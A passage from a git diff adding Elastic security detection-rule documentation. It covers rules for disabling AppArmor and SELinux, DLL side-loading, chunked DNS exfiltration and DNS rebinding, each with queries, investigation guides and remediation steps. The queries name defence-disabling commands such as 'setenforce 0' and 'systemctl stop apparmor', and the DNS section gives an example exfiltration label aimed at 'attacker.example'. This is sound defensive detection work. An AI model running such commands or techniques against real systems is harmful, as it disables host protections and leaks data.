`systemctl` or `service` with specific arguments, indicating potential tampering with security defenses. + + +*Possible investigation steps* + + +- Review the process details to confirm the command used, focusing on the process name and arguments, such as "systemctl", "service", "chkconfig", or "ln" with arguments related to AppArmor. +- Check the user account associated with the process execution to determine if it is a legitimate user or potentially compromised. +- Investigate the host's recent activity logs to identify any other suspicious behavior or anomalies around the time the alert was triggered. +- Examine the system's AppArmor status to verify if it has been disabled or tampered with, and assess any potential impact on system security. +- Correlate this event with other alerts or logs from the same host or user to identify patterns or a broader attack campaign. +- Consult threat intelligence sources to determine if there are known adversaries or malware that commonly attempt to disable AppArmor in similar ways. + + +*False positive analysis* + + +- Routine system maintenance activities may trigger this rule, such as administrators stopping AppArmor for legitimate updates or configuration changes. To manage this, create exceptions for known maintenance windows or specific administrator accounts. +- Automated scripts or configuration management tools like Ansible or Puppet might stop or disable AppArmor as part of their deployment processes. Identify these scripts and whitelist their execution paths or associated user accounts. +- Testing environments where security modules are frequently enabled and disabled for testing purposes can generate false positives. Consider excluding these environments from the rule or adjusting the rule's sensitivity for these specific hosts. +- Some legitimate software installations may require temporarily disabling AppArmor. Monitor installation logs and correlate them with the rule triggers to identify and exclude these benign activities. +- In environments where AppArmor is not actively used or managed, the rule may trigger on default system actions. Evaluate the necessity of monitoring AppArmor in such environments and adjust the rule scope accordingly. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or potential lateral movement by the adversary. +- Terminate any suspicious processes identified by the detection rule, specifically those attempting to disable AppArmor, to halt any ongoing malicious activities. +- Conduct a thorough review of system logs and process execution history to identify any additional indicators of compromise or related malicious activities. +- Restore AppArmor to its intended operational state by re-enabling the service and ensuring all security policies are correctly applied. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems may be affected. +- Implement enhanced monitoring on the affected system and similar environments to detect any future attempts to disable AppArmor or other security controls. +- Review and update access controls and permissions to ensure that only authorized personnel can modify security settings, reducing the risk of similar incidents. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +( + (process.name == "systemctl" and process.args in ("disable", "stop", "kill", "mask") and process.args in ("apparmor", "apparmor.service")) or + (process.name == "service" and process.args == "apparmor" and process.args == "stop") or + (process.name == "chkconfig" and process.args == "apparmor" and process.args == "off") or + (process.name == "update-rc.d" and process.args == "apparmor" and process.args in ("remove", "disable")) or + (process.name == "ln" and process.args : "/etc/apparmor.d/*" and process.args == "/etc/apparmor.d/disable/") +) and +not ?process.parent.executable == "/opt/puppetlabs/puppet/bin/ruby" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-disabling-of-selinux.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-disabling-of-selinux.asciidoc new file mode 100644 index 0000000000..51b713ea6a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-disabling-of-selinux.asciidoc @@ -0,0 +1,180 @@ +[[prebuilt-rule-8-19-34-potential-disabling-of-selinux]] +=== Potential Disabling of SELinux + +Identifies potential attempts to disable Security-Enhanced Linux (SELinux), which is a Linux kernel security feature to support access control policies. Adversaries may disable security tools to avoid possible detection of their tools and activities. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Disabling of SELinux* + + +SELinux is a critical security feature in Linux environments, enforcing access control policies to protect against unauthorized access. Adversaries may attempt to disable SELinux to evade detection and carry out malicious activities undetected. The detection rule identifies such attempts by monitoring for the execution of the 'setenforce 0' command, which switches SELinux to permissive mode, effectively disabling its enforcement capabilities. This rule leverages process monitoring to alert security teams of potential defense evasion tactics. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of the 'setenforce 0' command, ensuring that the process name is 'setenforce' and the argument is '0'. +- Check the user account associated with the process execution to determine if it is a legitimate administrative user or a potential compromised account. +- Investigate the timeline of events leading up to and following the execution of the 'setenforce 0' command to identify any related suspicious activities or processes. +- Examine system logs and audit logs for any other unusual or unauthorized changes to SELinux settings or other security configurations. +- Assess the system for any signs of compromise or malicious activity, such as unexpected network connections, file modifications, or the presence of known malware indicators. +- Verify the current SELinux status and configuration to ensure it has been restored to enforcing mode if it was indeed set to permissive mode. + + +*False positive analysis* + + +- System administrators may execute the 'setenforce 0' command during routine maintenance or troubleshooting, leading to false positives. To manage this, create exceptions for known maintenance windows or specific administrator accounts. +- Some automated scripts or configuration management tools might temporarily set SELinux to permissive mode for deployment purposes. Identify these scripts and exclude their execution context from triggering alerts. +- Development environments might require SELinux to be set to permissive mode for testing purposes. Consider excluding specific development hosts or environments from the rule to prevent unnecessary alerts. +- In certain cases, SELinux might be disabled as part of a controlled security audit or penetration test. Coordinate with security teams to whitelist these activities during the audit period. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Verify the current SELinux status on the affected system using the command `sestatus` to confirm if it has been switched to permissive mode. +- If SELinux is in permissive mode, re-enable it by executing `setenforce 1` and ensure that the SELinux policy is correctly enforced. +- Conduct a thorough review of system logs and process execution history to identify any unauthorized changes or suspicious activities that occurred while SELinux was disabled. +- Scan the affected system for malware or unauthorized software installations using a trusted antivirus or endpoint detection and response (EDR) tool. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are compromised. +- Implement additional monitoring and alerting for similar SELinux-related events to enhance detection capabilities and prevent recurrence. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name == "setenforce" and process.args == "0" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-dll-side-loading-via-trusted-microsoft-programs.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-dll-side-loading-via-trusted-microsoft-programs.asciidoc new file mode 100644 index 0000000000..8e5a57ba30 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-dll-side-loading-via-trusted-microsoft-programs.asciidoc @@ -0,0 +1,195 @@ +[[prebuilt-rule-8-19-34-potential-dll-side-loading-via-trusted-microsoft-programs]] +=== Potential DLL Side-Loading via Trusted Microsoft Programs + +Identifies an instance of a Windows trusted program that is known to be vulnerable to DLL Search Order Hijacking starting after being renamed or from a non-standard path. This is uncommon behavior and may indicate an attempt to evade defenses via side loading a malicious DLL within the memory space of one of those processes. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Resources: Investigation Guide +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: DLL Side-Load +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 220 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential DLL Side-Loading via Trusted Microsoft Programs* + + +DLL side-loading exploits the DLL search order to load malicious code into trusted Microsoft programs, which are often whitelisted by security tools. Adversaries rename or relocate these programs to execute unauthorized DLLs, evading detection. The detection rule identifies unusual execution paths or renamed instances of these programs, signaling potential misuse and enabling timely threat response. + + +*Possible investigation steps* + + +- Review the process details to confirm the original file name and the path from which the process was executed. Check if the process.pe.original_file_name matches any of the specified trusted programs like "WinWord.exe", "EXPLORER.EXE", "w3wp.exe", or "DISM.EXE". +- Investigate the process execution path to determine if it deviates from the standard paths listed in the query, such as "?:\Windows\explorer.exe" or "?:\Program Files\Microsoft Office\root\Office*\WINWORD.EXE". +- Examine the process creation history and parent process to identify any unusual or suspicious parent-child relationships that might indicate malicious activity. +- Check for any recent file modifications or creations in the directory from which the process was executed, which could suggest the presence of a malicious DLL. +- Correlate the event with other security logs or alerts from data sources like Elastic Endgame, Elastic Defend, Sysmon, or Microsoft Defender XDR to gather additional context and identify potential patterns of malicious behavior. +- Assess the risk and impact of the event by considering the risk score and severity level provided, and determine if immediate containment or further investigation is necessary. + + +*False positive analysis* + + +- Legitimate software updates or installations may temporarily execute trusted Microsoft programs from non-standard paths. Users can create exceptions for known update processes to prevent false alerts. +- Custom enterprise applications might use renamed instances of trusted Microsoft programs for legitimate purposes. Identify and whitelist these specific applications to avoid unnecessary alerts. +- Virtual environments or sandboxed applications may execute trusted programs from unusual paths as part of their normal operation. Review and exclude these environments if they are known and trusted. +- Security or IT administrative tools might mimic trusted Microsoft programs for monitoring or management tasks. Verify these tools and add them to an exception list if they are part of standard operations. +- Development or testing environments often involve renamed or relocated executables for debugging purposes. Ensure these environments are recognized and excluded from the detection rule to reduce false positives. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of the potential threat and unauthorized access. +- Terminate the suspicious process identified by the detection rule to stop any ongoing malicious activity. +- Conduct a forensic analysis of the affected system to identify any malicious DLLs or additional compromised files, and remove them. +- Restore the affected system from a known good backup to ensure all malicious changes are reverted. +- Update and patch all software on the affected system, focusing on the trusted Microsoft programs identified in the alert, to mitigate vulnerabilities exploited by DLL side-loading. +- Monitor the network for any signs of lateral movement or additional compromised systems, using the indicators of compromise identified during the investigation. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems or data have been affected. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + ( + process.name : ("WinWord.exe", "EXPLORER.EXE", "w3wp.exe", "DISM.EXE") or + ?process.pe.original_file_name : ("WinWord.exe", "EXPLORER.EXE", "w3wp.exe", "DISM.EXE") + ) and + not process.executable : ( + "\\\\?\\Volume{????????-????-????-????-????????????}\\Windows\\System32\\inetsrv\\w3wp.exe", + "?:\\PROGRA~?\\MICROS~?\\Office??\\winword.exe", + "?:\\Program Files\\Microsoft Office\\*\\winword.exe", + "?:\\Program Files\\Microsoft Office ??\\*\\winword.exe", + "?:\\Program Files\\WindowsApps\\Microsoft.Office.Desktop.*\\Office??\\winword.exe", + "?:\\Program Files (x86)\\Microsoft Office\\*\\winword.exe", + "?:\\Program Files (x86)\\Windows Kits\\*Assessment and Deployment Kit\\Deployment Tools\\amd64\\DISM\\dism.exe", + "?:\\Windows\\explorer.exe", + "?:\\Windows\\System32\\Dism.exe", + "?:\\Windows\\System32\\inetsrv\\w3wp.exe", + "?:\\Windows\\SysWOW64\\Dism.exe", + "?:\\Windows\\SysWOW64\\explorer.exe", + "?:\\Windows\\SysWOW64\\inetsrv\\w3wp.exe" + ) and + /* Crowdstrike specific exclusion as it uses NT Object paths */ + not + ( + data_stream.dataset == "crowdstrike.fdr" and + process.executable : ( + "\\Device\\HarddiskVolume*\\Program Files\\Microsoft Office\\*\\winword.exe", + "\\Device\\HarddiskVolume*\\Program Files\\Microsoft Office ??\\*\\winword.exe", + "\\Device\\HarddiskVolume*\\Program Files\\WindowsApps\\Microsoft.Office.Desktop.*\\Office??\\winword.exe", + "\\Device\\HarddiskVolume*\\Program Files (x86)\\Microsoft Office\\*\\winword.exe", + "\\Device\\HarddiskVolume*\\Program Files (x86)\\Windows Kits\\10\\Assessment and Deployment Kit\\Deployment Tools\\amd64\\DISM\\dism.exe", + "\\Device\\HarddiskVolume*\\Windows\\explorer.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\Dism.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\inetsrv\\w3wp.exe", + "\\Device\\HarddiskVolume*\\Windows\\SysWOW64\\Dism.exe", + "\\Device\\HarddiskVolume*\\Windows\\SysWOW64\\explorer.exe", + "\\Device\\HarddiskVolume*\\Windows\\SysWOW64\\inetsrv\\w3wp.exe" + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: DLL +** ID: T1574.001 +** Reference URL: https://attack.mitre.org/techniques/T1574/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-dns-exfiltration-via-excessive-chunked-queries.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-dns-exfiltration-via-excessive-chunked-queries.asciidoc new file mode 100644 index 0000000000..994fe5d6e1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-dns-exfiltration-via-excessive-chunked-queries.asciidoc @@ -0,0 +1,169 @@ +[[prebuilt-rule-8-19-34-potential-dns-exfiltration-via-excessive-chunked-queries]] +=== Potential DNS Exfiltration via Excessive Chunked Queries + +Identifies potential DNS exfiltration on Windows hosts by detecting a high volume of DNS queries whose subdomain labels follow a chunked encoding pattern (index-payload.base_domain). Attackers split stolen data across many DNS queries to evade volume-based detection; this rule aggregates queries per process, base domain, and five-minute window and flags sessions with many distinct chunk indices and sufficiently long encoded payloads. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1048/003/ +* https://attack.mitre.org/techniques/T1572/ +* https://unit42.paloaltonetworks.com/dns-tunneling-how-dns-can-be-abused-by-malicious-actors/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Exfiltration +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: Sysmon +* Noise: Unknown +* Performance: Normal +* Rule Type: ES|QL +* Platform: Windows + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential DNS Exfiltration via Excessive Chunked Queries* + + +DNS tunneling and exfiltration often encode data in subdomain labels using a chunk index prefix (for example, +`42-.attacker.example`). A large number of distinct chunk indices to the same base domain from +one process within a short window strongly suggests staged data transfer rather than normal resolution behavior. + + +*Possible investigation steps* + + +- Review **Esql.base_domain**, **Esql.unique_chunks**, and **Esql.max_index** on the alert to gauge exfil volume and + whether chunk indices form a contiguous or near-contiguous sequence. +- Identify **process.name** and **process.executable** (from related network events on the same host) and inspect the + process tree for scripting runtimes, LOLBins, or unsigned binaries. +- Pivot on **host.id** for other DNS, network, or exfiltration alerts in the past 48 hours. +- Inspect sample **dns.question.name** values for the session to confirm encoded payload subdomains and estimate data + volume (**Esql.avg_payload_len** × **Esql.unique_chunks**). +- Check whether the base domain is newly observed, lacks business justification, or resolves to infrastructure outside + approved DNS allowlists. + + +*False positive analysis* + + +- Legitimate software that encodes telemetry or session tokens in DNS labels is rare; validate against known vendor + behavior before closing. +- Security scanners or research tools that generate synthetic chunked DNS labels may match; confirm process identity and + organizational ownership. + + +*Response and remediation* + + +- If confirmed malicious: isolate the host, block the **Esql.base_domain** at DNS and egress controls, and preserve + DNS/network logs for scoping. +- Hunt for the same **Esql.base_domain** and process hash across other hosts and users. +- Reset credentials and review data accessible to the involved user or process if exfiltration is confirmed. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/sysmon-event-22-setup[Sysmon Event ID 22 - DNS Query] + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-crowdstrike.fdr*, logs-endpoint.events.network-*, logs-windows.sysmon_operational-* +| WHERE host.os.type == "windows" + AND event.category == "network" + AND event.action IN ("lookup_requested", "DNSEvent (DNS query)", "DnsRequest") + AND process.name != "svchost.exe" + AND dns.question.name RLIKE """[0-9]{1,5}-[A-Za-z0-9+/=]{15,63}\..+""" +| GROK dns.question.name "%{INT:chunk_index}-%{DATA:chunk_payload}\\.%{GREEDYDATA:Esql.base_domain}" +| WHERE chunk_index IS NOT NULL +| EVAL payload_len = LENGTH(chunk_payload) +| STATS + Esql.occurrences = COUNT(*), + Esql.unique_chunks = COUNT_DISTINCT(chunk_index), + Esql.max_index = MAX(TO_INTEGER(chunk_index)), + Esql.avg_payload_len = AVG(payload_len) + BY process.name, Esql.base_domain, user.id, user.name, host.id, host.name, data_stream.namespace, DATE_TRUNC(5 minutes, @timestamp) +| WHERE Esql.occurrences >= 30 + AND Esql.unique_chunks >= 30 + AND Esql.avg_payload_len >= 20 +| SORT Esql.unique_chunks DESC +| LIMIT 20 +| KEEP host.id, host.name, process.name, user.id, user.name, data_stream.namespace, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Alternative Protocol +** ID: T1048 +** Reference URL: https://attack.mitre.org/techniques/T1048/ +* Sub-technique: +** Name: Exfiltration Over Unencrypted Non-C2 Protocol +** ID: T1048.003 +** Reference URL: https://attack.mitre.org/techniques/T1048/003/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-dns-rebinding-from-public-to-private-address.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-dns-rebinding-from-public-to-private-address.asciidoc new file mode 100644 index 0000000000..ff95f8731f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-dns-rebinding-from-public-to-private-address.asciidoc @@ -0,0 +1,214 @@ +[[prebuilt-rule-8-19-34-potential-dns-rebinding-from-public-to-private-address]] +=== Potential DNS Rebinding from Public to Private Address + +Identifies a client resolving the same public registered domain to both a public IP address and a private, loopback, link-local, unique-local IPv6, or shared address. This includes both address classes being observed at the same timestamp, and a public answer followed within five minutes by a private answer where the minimum TTL across all answer records in the private-answer events is 60 seconds or less. Either pattern is consistent with DNS rebinding that pivots browser or application trust to internal resources. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-15m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://owasp.org/www-community/attacks/DNS_Rebinding +* https://portswigger.net/web-security/ssrf + +*Tags*: + +* Domain: Network +* Use Case: Threat Detection +* Use Case: Network Security Monitoring +* Tactic: Initial Access +* Rule Type: ES|QL +* Data Source: Network Packet Capture +* Data Source: Network Traffic +* Data Source: Zeek +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential DNS Rebinding from Public to Private Address* + + +DNS rebinding uses attacker-controlled public names that resolve to internal addresses so a victim browser or client +reaches RFC1918, loopback, link-local, unique-local IPv6, or shared-address targets. This rule alerts on two patterns +for the same client and fully qualified domain name: public and internal addresses whose first observations have the +same timestamp, or a public answer followed by an internal answer within five minutes. Sequential transitions also +require the minimum TTL across all DNS answer records in the private-answer events to be 60 seconds or less. Equal +timestamps often represent a mixed-answer response, but do not prove that the addresses came from one DNS transaction; +parallel A and AAAA events can share a timestamp. Equal-timestamp matches do not require the TTL or five-minute gates. + +`Esql.client_ip` is `client.ip` when present and otherwise `source.ip`. Depending on sensor placement this value may +identify an endpoint, a recursive resolver, a forwarder, or a localhost DNS listener such as `127.0.0.1`. Resolver or +loopback identities can merge many hosts into one bucket. + + +*Possible investigation steps* + + +- Review `dns.question.name`, `dns.question.registered_domain`, `Esql.public_ips`, and `Esql.private_ips` to confirm the + same name resolved to both a public and an internal address. +- Check `Esql.same_timestamp`. A value of `true` means both address classes were first observed at the same timestamp, + but does not establish that they came from one DNS transaction. Compare `Esql.first_public_answer`, + `Esql.first_private_answer`, `Esql.transition_seconds`, and `Esql.min_private_event_ttl` for sequential transitions. + Short transitions and TTL values near zero increase confidence. +- Use `Esql.resolved_ip_observation_count`, `Esql.resolved_ip_count`, `Esql.dataset_values`, and + `Esql.observer_name_values` to assess observation volume, distinct IP cardinality, and the integrations and sensors + that contributed to the alert. +- Identify the requesting client using `Esql.client_ip`. Confirm whether that address is an endpoint rather than a + recursive resolver, forwarder, or localhost DNS service before attributing the activity to one host. +- Determine whether the registered domain is attacker-controlled or a legitimate split-horizon or failover domain. +- Check the requesting host for browser or application connections to the resolved private address immediately after + the private answer. +- Review the targeted internal service for requests carrying the public domain in the HTTP Host header or TLS SNI and + for unauthorized access, state changes, or sensitive-data retrieval. + + +*False positive analysis* + + +- Split-horizon DNS, VPN transitions, service discovery, failover, and hairpin NAT can legitimately cause a public + registered domain to alternate between public and private answers. Confirm the domain and resolver behavior with DNS + administrators. +- Dual-stack names may publish a public IPv4 address and a unique-local IPv6 address under the same question name. +- Security products may intentionally sinkhole suspicious domains to loopback or private addresses with short TTLs. +- Exclude confirmed internal domains, approved sinkholes, and controlled security-testing infrastructure by registered + domain or client only after validation. Do not exclude a resolver address until the originating endpoint is known. + + +*Response and remediation* + + +- Block or sinkhole the queried name at recursive resolvers if it is confirmed malicious. +- Patch or isolate affected internal services reached through the rebound name. +- Restrict outbound DNS for clients that should not resolve arbitrary external names directly. + + +==== Setup + + + +*Setup* + + +This rule requires DNS transaction events from one of the following passive network integrations: + +- Elastic Network Packet Capture (`network_traffic.dns`) in `logs-network_traffic.dns-*` +- Zeek (`zeek.dns`) in `logs-zeek.dns-*` +- Legacy Packetbeat DNS events in `packetbeat-*` + +Enable DNS logging so that `dns.question.registered_domain` and `dns.resolved_ip` are populated. Populate +`dns.answers.ttl` to detect sequential public-to-private transitions; equal-timestamp matches do not require TTL data. + +Place the sensor where it observes endpoint-to-resolver DNS traffic. If the sensor is upstream of a recursive resolver, +or if the captured client is a localhost listener such as 